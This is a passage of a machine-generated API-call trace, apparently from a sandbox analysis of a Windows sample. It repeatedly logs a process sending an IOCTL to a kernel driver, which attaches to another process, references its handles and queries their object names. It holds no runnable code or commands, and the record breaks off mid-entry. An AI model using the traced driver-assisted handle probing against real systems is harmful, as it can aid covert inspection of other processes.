RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.907] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.907] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.907] PsAcquireProcessExitSynchronization () returned 0x0 [0081.907] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.907] ObReferenceObjectByHandle (in: Handle=0xb8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa8003570e60, HandleInformation=0x0) returned 0x0 [0081.907] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.907] PsReleaseProcessExitSynchronization () returned 0x2 [0081.907] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.907] ObQueryNameString (in: Object=0xfffffa8003570e60, ObjectNameInfo=0xfffffa8003988044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003988044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.907] ObfDereferenceObject (Object=0xfffffa8003570e60) returned 0x3 [0081.907] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.907] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.907] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.907] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.907] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.907] PsAcquireProcessExitSynchronization () returned 0x0 [0081.907] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.907] ObReferenceObjectByHandle (in: Handle=0xbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa8003211be0, HandleInformation=0x0) returned 0x0 [0081.907] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.907] PsReleaseProcessExitSynchronization () returned 0x2 [0081.907] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.907] ObQueryNameString (in: Object=0xfffffa8003211be0, ObjectNameInfo=0xfffffa8003989044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003989044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.907] ObfDereferenceObject (Object=0xfffffa8003211be0) returned 0x1 [0081.907] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.907] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.907] NtQueryInformationThread (in: ThreadHandle=0x0, ThreadInformationClass=0x0, ThreadInformation=0x12d508, ThreadInformationLength=0x30, ReturnLength=0x12d4b0 | out: ThreadInformation=0x12d508, ReturnLength=0x12d4b0) returned 0xc0000008 [0081.907] NtQueryInformationThread (in: ThreadHandle=0x0, ThreadInformationClass=0x0, ThreadInformation=0x12d508, ThreadInformationLength=0x30, ReturnLength=0x12d4b0 | out: ThreadInformation=0x12d508, ReturnLength=0x12d4b0) returned 0xc0000008 [0081.907] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.907] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.907] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.907] PsAcquireProcessExitSynchronization () returned 0x0 [0081.907] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.907] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa800af93e70, HandleInformation=0x0) returned 0x0 [0081.908] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.908] PsReleaseProcessExitSynchronization () returned 0x2 [0081.908] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.908] ObQueryNameString (in: Object=0xfffffa800af93e70, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005452550) returned 0x0 [0081.908] ObfDereferenceObject (Object=0xfffffa800af93e70) returned 0x1 [0081.908] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.908] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.908] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.908] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.908] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.908] PsAcquireProcessExitSynchronization () returned 0x0 [0081.908] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.908] ObReferenceObjectByHandle (in: Handle=0xcc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa80032e1b10, HandleInformation=0x0) returned 0x0 [0081.908] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.908] PsReleaseProcessExitSynchronization () returned 0x2 [0081.908] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.908] ObQueryNameString (in: Object=0xfffffa80032e1b10, ObjectNameInfo=0xfffffa80038547c4, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa80038547c4, ReturnLength=0xfffff88005452550) returned 0x0 [0081.908] ObfDereferenceObject (Object=0xfffffa80032e1b10) returned 0x1 [0081.908] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.908] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.908] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.908] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0081.908] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.908] PsAcquireProcessExitSynchronization () returned 0x0 [0081.908] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.908] ObReferenceObjectByHandle (in: Handle=0xd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0081.908] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.908] PsReleaseProcessExitSynchronization () returned 0x2 [0081.908] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.908] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80039c77c4, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa80039c77c4, ReturnLength=0xfffff88005452550) returned 0x0 [0081.908] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0081.908] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.908] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.908] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.908] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x4e, lpOverlapped=0x0) returned 1 [0081.909] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.909] PsAcquireProcessExitSynchronization () returned 0x0 [0081.909] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.909] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffff8a00120de50, HandleInformation=0x0) returned 0x0 [0081.909] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.909] PsReleaseProcessExitSynchronization () returned 0x2 [0081.909] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.909] ObQueryNameString (in: Object=0xfffff8a00120de50, ObjectNameInfo=0xfffffa8003083344, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003083344, ReturnLength=0xfffff88005452550) returned 0x0 [0081.909] ObfDereferenceObject (Object=0xfffff8a00120de50) returned 0x1 [0081.909] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.909] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.909] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.909] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0081.909] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.909] PsAcquireProcessExitSynchronization () returned 0x0 [0081.909] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.909] ObReferenceObjectByHandle (in: Handle=0xd8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa80018ccde0, HandleInformation=0x0) returned 0x0 [0081.909] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.909] PsReleaseProcessExitSynchronization () returned 0x2 [0081.909] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.909] ObQueryNameString (in: Object=0xfffffa80018ccde0, ObjectNameInfo=0xfffffa8003956044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003956044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.909] ObfDereferenceObject (Object=0xfffffa80018ccde0) returned 0x19 [0081.909] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.909] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.909] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.909] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0081.909] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.909] PsAcquireProcessExitSynchronization () returned 0x0 [0081.909] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.909] ObReferenceObjectByHandle (in: Handle=0xdc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0081.909] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.909] PsReleaseProcessExitSynchronization () returned 0x2 [0081.909] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.909] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800394c044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa800394c044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.909] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0081.909] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.910] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.910] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.910] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.910] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.910] PsAcquireProcessExitSynchronization () returned 0x0 [0081.910] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.910] ObReferenceObjectByHandle (in: Handle=0xe0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa8002f77be0, HandleInformation=0x0) returned 0x0 [0081.910] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.910] PsReleaseProcessExitSynchronization () returned 0x2 [0081.910] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.910] ObQueryNameString (in: Object=0xfffffa8002f77be0, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.910] ObfDereferenceObject (Object=0xfffffa8002f77be0) returned 0x1 [0081.910] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.910] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.910] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.910] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.910] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.910] PsAcquireProcessExitSynchronization () returned 0x0 [0081.910] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.910] ObReferenceObjectByHandle (in: Handle=0xe4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa80044a73f0, HandleInformation=0x0) returned 0x0 [0081.910] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.910] PsReleaseProcessExitSynchronization () returned 0x2 [0081.910] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.910] ObQueryNameString (in: Object=0xfffffa80044a73f0, ObjectNameInfo=0xfffffa8003901044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003901044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.910] ObfDereferenceObject (Object=0xfffffa80044a73f0) returned 0x1 [0081.910] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.910] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.910] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.910] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.910] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.910] PsAcquireProcessExitSynchronization () returned 0x0 [0081.910] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.910] ObReferenceObjectByHandle (in: Handle=0xe8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa800a16acb0, HandleInformation=0x0) returned 0x0 [0081.910] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.910] PsReleaseProcessExitSynchronization () returned 0x2 [0081.910] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.911] ObQueryNameString (in: Object=0xfffffa800a16acb0, ObjectNameInfo=0xfffffa80038f9044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa80038f9044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.911] ObfDereferenceObject (Object=0xfffffa800a16acb0) returned 0x1 [0081.911] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.911] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.911] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.911] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.911] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.911] PsAcquireProcessExitSynchronization () returned 0x0 [0081.911] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.911] ObReferenceObjectByHandle (in: Handle=0xec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa800a1ffe70, HandleInformation=0x0) returned 0x0 [0081.911] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.911] PsReleaseProcessExitSynchronization () returned 0x2 [0081.911] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.911] ObQueryNameString (in: Object=0xfffffa800a1ffe70, ObjectNameInfo=0xfffffa8003950044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003950044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.911] ObfDereferenceObject (Object=0xfffffa800a1ffe70) returned 0x1 [0081.911] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.911] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.911] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.911] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0081.911] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.911] PsAcquireProcessExitSynchronization () returned 0x0 [0081.911] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.911] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa80032d1fc0, HandleInformation=0x0) returned 0x0 [0081.911] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.911] PsReleaseProcessExitSynchronization () returned 0x2 [0081.911] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.911] ObQueryNameString (in: Object=0xfffffa80032d1fc0, ObjectNameInfo=0xfffffa80037cb044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa80037cb044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.911] ObfDereferenceObject (Object=0xfffffa80032d1fc0) returned 0x2 [0081.911] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.911] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.911] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.911] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.911] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.911] PsAcquireProcessExitSynchronization () returned 0x0 [0081.911] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.911] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa800308a600, HandleInformation=0x0) returned 0x0 [0081.912] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.912] PsReleaseProcessExitSynchronization () returned 0x2 [0081.912] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.912] ObQueryNameString (in: Object=0xfffffa800308a600, ObjectNameInfo=0xfffffa8003a12044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003a12044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.912] ObfDereferenceObject (Object=0xfffffa800308a600) returned 0x1 [0081.912] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.912] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.912] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.912] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0081.912] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.912] PsAcquireProcessExitSynchronization () returned 0x0 [0081.912] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.912] ObReferenceObjectByHandle (in: Handle=0xf8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa800345afe0, HandleInformation=0x0) returned 0x0 [0081.912] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.912] PsReleaseProcessExitSynchronization () returned 0x2 [0081.912] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.912] ObQueryNameString (in: Object=0xfffffa800345afe0, ObjectNameInfo=0xfffffa8003915044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003915044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.912] ObfDereferenceObject (Object=0xfffffa800345afe0) returned 0x5 [0081.912] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.912] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.912] NtQueryInformationThread (in: ThreadHandle=0x0, ThreadInformationClass=0x0, ThreadInformation=0x12d508, ThreadInformationLength=0x30, ReturnLength=0x12d4b0 | out: ThreadInformation=0x12d508, ReturnLength=0x12d4b0) returned 0xc0000008 [0081.912] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.912] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.912] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 